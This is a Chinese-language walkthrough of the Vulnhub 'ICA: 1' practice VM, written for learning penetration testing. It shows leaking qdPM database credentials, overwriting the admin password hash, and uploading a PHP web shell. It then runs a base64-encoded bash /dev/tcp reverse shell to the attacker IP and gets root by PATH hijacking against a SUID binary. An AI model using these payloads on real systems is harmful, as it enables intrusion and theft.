【Vulnhub系列】 ICA: 1通关教程

环境说明虚拟机软件VirtualBox靶场 ICA: 1攻击机Kali192.168.56.3靶机192.168.56.13虚拟机模式仅主机攻击机靶机同一网段下载链接https://download.vulnhub.com/ica/ica1.zip作者 onurturali难度简单主机发现与服务探测先上来看一下主机IP确定地址是192.168.56.13arp-scan--local2. 继续使用nmap扫描一下开放的端口和服务nmap-sV-sC-p-192.168.56.13对其结果简单总结端口协议服务版本备注22/tcpTCPsshOpenSSH 8.4p1 Debian 5SSH远程登录80/tcpTCPhttpApache 2.4.48 (Debian)Web服务标题 qdPM | Login3306/tcpTCPmysqlMySQL 8.0.26数据库主端口33060/tcpTCPmysqlxMySQL X protocol listenerMySQL X DevAPI协议端口接下来我们从web入手web服务分析及漏洞查找访问http://192.168.56.13/直接到登录页面并且通过title以及页面特诊分析发现该网站使用了版本是9.2的qdPM它是一个CMS系统接下来可以直接去网络上检索该版本存在的漏洞。通过搜索得知 9.2版本的qdPM存在未授权访问导致的信息泄露受影响接口是/core/config/databases.yml,这下好办了直接访问http://192.168.56.13/core/config/databases.yml发现数据库用户和密码3. 注意这里的密码实际密码是 encode里的内容接下来使用命令行连接数据库mysql-h192.168.56.13-uqdpmadmin -pUcVQCMQk2STVeS6J--skip-ssl对于命令行不熟的同学可以使用dbeaver这类的图形化软件连接操作起来会更方便。补充说明ymfony1.4 的 sfDoctrineDatabase 加载这个 yml 配置时部分版本支持在参数值内嵌入简短 PHP 表达式会用 eval 解析。这里作者写这个urlencode属于一种冗余写法大概率是复制模板遗留下来的。看一下数据库都有什么有两个重要的数据库 qdpm和staffshowdatabases;但是更可疑的是 staff大概率有登录用户。4. 先看一下 staff库中有哪些表usestaff;showtables;5. 查看表中内容, 通过数据表的结构可以看出login中的密码对应着user中的用户。select*fromlogin;select*fromuser;6. 接下来找了一个用户测试登录发现不行这里需要将 base64编码的密码简单解码了一下。简单推测一下实际登录所用的数据表甚至数据库不是这个这个只是迷惑人的。并且之前从config.yml文件中也能知道用的是 qdpm表。登录确实用了这个数据表但是密码可能存在二次加密, 这个方向不太好搞。我们朝着第一种可能进发先看看qdpm中的数据表users,空的users_group看看有东西继续从上到下看看各个表中都有什么东西最终在configuration表中发现了线索有管理员用户的用户名和密码密码这个格式肯定是要暴破的。使用john暴破一下好家伙浪费了一个小时还没等破解完手贱通过忘记密码功能直接把密码改了。总之此方法不行john--formatphpass--wordlist/usr/share/wordlists/rockyou.txt(echo$P$EmesnWRcY9GrK0hDzwaV3rvQnMJ/Fx0)10. 换一个方式既然破解不出来那就造一个自己的密码然后转化成数据库中的phpass格式然后更新一下数据库不就完了。请按照以下步骤进行:- 将旧的hash扔给AI分析一下cost是多少- 使用python代码生成新的自定义hash# 先pip install passlibfrompasslib.hashimportphpass# rounds7 就是 cost7对应哈希开头 $P$E自定义密码是 123456hphpass.using(rounds7).hash(123456)print(h)# 校验测试okphpass.using(rounds7).verify(123456,h)print(verify:,ok)将结果复制并更新到数据表中# 这里的 value值是你自己代码跑出来的值当然用我的也行。UPDATEconfigurationSETvalue$P$5b/Aa35giKWw.RCF4sdqiOm28wm1gr0WHEREkeyapp_administrator_password;更新成功后直接使用 adminlocalhost.com/123456 进行登录登录成功后看菜单功能比较单一我们需要利用CVE-2023-45856文件上传漏洞进行利用因此先新建一个普通用户如图所示注意不要上传头像会报错。创建完成使用我们新创建的用户登录发现完整菜单。根据下图指示找到对应的功能点直接上传一个已经制作好的一句话木马即可。记得先切换到通用中把名称填一下?phpsystem($_GET[cmd]);?14. 上传完之后发现没有返回文件路径但是下载这里有个路径这个是下载功能非真实木马路径真实木马路径在 uploads目录该目录会列出文件和目录实际上传路径在 attachments下可以看到文件名前面加了一个随机数字。接下来就是利用该木马反弹shell了user flag的获取访问http://192.168.56.13/uploads/attachments/282447-a.php?cmdecho%20YmFzaCAtYyAnYmFzaCAtaSA%2BJiAvZGV2L3RjcC8xOTIuMTY4LjU2LjMvNjY2NiAwPiYxJw%3D%3D%20|%20base64%20-d%20|%20bash这里的base64编码需要根据你自己的攻击机IP来进行。对于新手可以去从网上找专门生成反弹shell命令的在线网站。对于在线工具不要使用真实IP进行仅作为本地靶机练习防止存在后门。2. 我们当前用户是www-data权限极低需要通过提权等方式找到user flag。当然现在首要做的是提升shell# shell执行以下命令python3-cimport pty;pty.spawn(/bin/bash)# CTRLZ退出当前shellstty raw -echo;fg# 接着输入exportTERMxterm先使用sudo -l看看, 不太行需要密码。4. 看看网站目录有没有什么线索, 没有发现5. 看看SUID文件呢find / -perm -4000 -type f 2/dev/null /opt/get_access这个文件比较可疑6. 看看权限呢简单执行一下看看有没有帮助信息使用strings看看程序里面的字符串呢/lib64/ld-linux-x86-64.so.2 setuid socket puts system __cxa_finalize setgid __libc_start_main libc.so.6 GLIBC_2.2.5 _ITM_deregisterTMCloneTable __gmon_start__ _ITM_registerTMCloneTable u/UH []A\A]A^A_ cat /root/system.info Could not create socket to access to the system. All services are disabled. Accessing to the system is allowed only within working hours. ;*3$ GCC: (Debian 10.2.1-6) 10.2.1 20210110 crtstuff.c deregister_tm_clones __do_global_dtors_aux completed.0 __do_global_dtors_aux_fini_array_entry frame_dummy __frame_dummy_init_array_entry get_access.c __FRAME_END__ __init_array_end _DYNAMIC __init_array_start __GNU_EH_FRAME_HDR _GLOBAL_OFFSET_TABLE_ __libc_csu_fini _ITM_deregisterTMCloneTable putsGLIBC_2.2.5 _edata systemGLIBC_2.2.5 __libc_start_mainGLIBC_2.2.5 __data_start __gmon_start__ __dso_handle _IO_stdin_used __libc_csu_init __bss_start main setgidGLIBC_2.2.5 __TMC_END__ _ITM_registerTMCloneTable setuidGLIBC_2.2.5 __cxa_finalizeGLIBC_2.2.5 socketGLIBC_2.2.5 .symtab .strtab .shstrtab .interp .note.gnu.build-id .note.ABI-tag .gnu.hash .dynsym .dynstr .gnu.version .gnu.version_r .rela.dyn .rela.plt .init .plt.got .text .fini .rodata .eh_frame_hdr .eh_frame .init_array .fini_array .dynamic .got.plt .data .bss .comment通过分析发现有个cat /root/system.info命令既然执行了 cat命令那么我们可以通过环境变量劫持获取root shell按照以下步骤cd/tmp# 写cat假程序echo#!/bin/bashcatecho/bin/bashcat# 赋予其可执行权限chmodxcat#把 /tmp 放到 PATH 最前面exportPATH/tmp:$PATH# 执行程序/opt/get_access成功获取Root的shell注意这个坑为啥没有文件内容呢干 我之前修改了cat的环境变量导致我执行cat实际是获取root shell,下面要么换个命令要么使用绝对路径都可以比如/bin/cat /root/root.txt